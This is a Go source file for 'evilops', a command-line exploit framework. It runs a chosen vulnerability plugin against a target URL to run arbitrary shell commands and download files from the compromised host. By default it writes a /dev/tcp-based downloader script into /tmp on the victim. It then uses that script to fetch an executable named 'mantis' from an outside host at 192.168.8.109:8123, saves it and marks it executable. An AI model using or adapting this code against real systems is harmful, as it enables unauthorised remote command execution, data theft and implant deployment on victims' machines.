package main

import (
	"bufio"
	"context"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/drops"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	cli "github.com/urfave/cli/v2"
	"io"
	"log"
	"net/http"
	"os"

	logx "gitee.com/wudicaidou/menciis-logx"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	shttp "gitee.com/wudicaidou/menciis-shttp"
	"github.com/k0kubun/pp"
)

func main() {
	app := &cli.App{
		Name:  "evilops",
		Usage: "an exp framework",
		Flags: []cli.Flag{
			&cli.StringFlag{
				Name:     "vul_id",
				Aliases:  []string{"vul"},
				Usage:    "the vul the run",
				Required: true,
			},
			&cli.StringFlag{
				Name:     "target",
				Aliases:  []string{"t"},
				Usage:    "the target url",
				Required: true,
			},
			&cli.StringFlag{
				Name:    "cmd",
				Aliases: []string{"c"},
				Usage:   "shell command to execute",
			},
			&cli.StringFlag{
				Name:    "download",
				Aliases: []string{"d"},
				Usage:   "file to download",
			},
			&cli.BoolFlag{
				Name:    "support_exp",
				Aliases: []string{"s"},
				Usage:   "support_exp",
			},
			&cli.BoolFlag{
				Name:    "upload_script",
				Aliases: []string{"us"},
			},
		},
		Action: runAction,
	}

	err := app.Run(os.Args)
	if err != nil {
		log.Fatal(err)
	}

}

func runAction(c *cli.Context) error {
	if c.Bool("support_exp") {
		for s, plugin := range drops.ExpApis {
			logx.Infof("vulId:%v name:%v", s, plugin.Meta().Name)
		}
		return nil
	}
	var s expbase.ExploitPlugin
	if exp, ok := drops.ExpApis[c.String("vul_id")]; ok {
		s = exp
	} else {
		return fmt.Errorf("exp not found")
	}

	ctx := context.Background()
	in, err := http.NewRequest(http.MethodGet, c.String("target"), nil)
	if err != nil {
		return err
	}

	err = s.Init(ctx)
	if err != nil {
		return err
	}
	target := pocbase.NewRequestAsset(&pocbase.TaskMeta{
		Type: pocbase.AssetUrlType,
	}, &shttp.Request{
		RawRequest: in,
	})

	opts := shttp.DefaultClientOptions()
	client, _ := shttp.NewClient(opts, nil)
	expContext := &expbase.ExpContext{
		Target:     target,
		HttpClient: client,
		Writer:     &stdoutWriter{},
	}

	res, err := s.GetBasicInfo(ctx, expContext)
	if err != nil && err != expbase.ErrUnsupportedMethod {
		return err
	}

	for _, re := range res {
		expContext.Writer.Output(re)
	}

	if c.String("upload") != "" {
		//将脚本上传
		spath := "./curl.sh"
		dpath := "/tmp/curl.sh"
		fi, err := os.Open(spath)
		if err != nil {
			fmt.Printf("Error: %s\n", err)
		}
		defer fi.Close()

		br := bufio.NewReader(fi)
		for {
			l, _, e := br.ReadLine()
			if e == io.EOF {
				break
			}
			expContext.CommandToExecute = []string{"echo '" + string(l) + "' >> " + dpath + "<<EOF"}
			res, err := s.ExecuteCommand(ctx, expContext)
			if err != nil {
				fmt.Println(err.Error())
				return err
			}
			logx.Info(res)
		}
	}

	if c.String("download") != "" {
		expContext.DownloadFileList = []string{c.String("download")}
		res, err := s.DownloadFile(ctx, expContext)
		if err != nil {
			return err
		}
		for _, re := range res {
			expContext.Writer.Output(re)
		}
	}

	if c.String("upload_script") == "" {
		expContext.CommandToExecute = []string{
			"touch /tmp/sucess",
			"echo '#!/bin/bash' > /tmp/curl.sh",
			"echo '' >> /tmp/curl.sh",
			"echo 'function __curl() {' >> /tmp/curl.sh",
			"echo '  read proto server path <<<$(echo ${1//// })' >> /tmp/curl.sh",
			"echo '  DOC=/${path// //}' >> /tmp/curl.sh",
			"echo '  HOST=${server//:*}' >> /tmp/curl.sh",
			"echo '  PORT=${server//*:}' >> /tmp/curl.sh",
			`echo '  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80' >> /tmp/curl.sh`,
			`echo '' >> /tmp/curl.sh`,
			`echo '  exec 3<>/dev/tcp/${HOST}/$PORT' >> /tmp/curl.sh`,
			`echo '  echo -en "GET ${DOC} HTTP/1.0\\r\\nHost: ${HOST}\\r\\n\\r\\n" >&3' >> /tmp/curl.sh`,
			"echo '  rrr=`echo \"DQo=\" | base64 -d`' >> /tmp/curl.sh",
			`echo '  (while read line; do' >> /tmp/curl.sh`,
			`echo '   [[ "$line" == $rrr ]] && break' >> /tmp/curl.sh`,
			`echo '  done && cat) <&3' >> /tmp/curl.sh`,
			`echo '  exec 3>&-' >> /tmp/curl.sh`,
			`echo '}' >> /tmp/curl.sh`,
			`echo '' >> /tmp/curl.sh`,
			`echo '__curl $1' >> /tmp/curl.sh`,
			`chmod +x /tmp/curl.sh`,
			`/tmp/curl.sh http://192.168.8.109:8123/v1/down?v=mantis-linux-x86_64 > /tmp/mantis &`,
			`chmod +x /tmp/mantis`,
		}

		res, err := s.ExecuteCommand(ctx, expContext)
		if err != nil {
			return err
		}
		for _, re := range res {
			expContext.Writer.Output(re)
		}
	}

	if len(c.String("cmd")) > 0 {
		expContext.CommandToExecute = []string{c.String("cmd")}
		res, err := s.ExecuteCommand(ctx, expContext)
		if err != nil {
			return err
		}
		for _, re := range res {
			expContext.Writer.Output(re)
		}
	}

	return nil
}

type stdoutWriter struct{}

func (s stdoutWriter) Output(event pocbase.Event) error {
	switch v := event.(type) {
	case *expbase.BasicInfoEvent:
		logx.Infof("basic info found from %s", v.Target)
		if v.Type == expbase.TypeOsInfo {
			pp.Println(v.Os)
		} else if v.Type == expbase.TypePhpInfo {
			pp.Println(v.Php)
		}
	case *expbase.FileDownloadEvent:
		logx.Infof("file [%s] download from %s", v.Filename, v.Target)
		fmt.Println(string(v.Content))
	case *expbase.CommandResultEvent:
		logx.Infof("command [%s] result from %s", v.Command, v.Target)
		fmt.Println(string(v.Result))
	}
	return nil
}

func (s stdoutWriter) Close() {
}
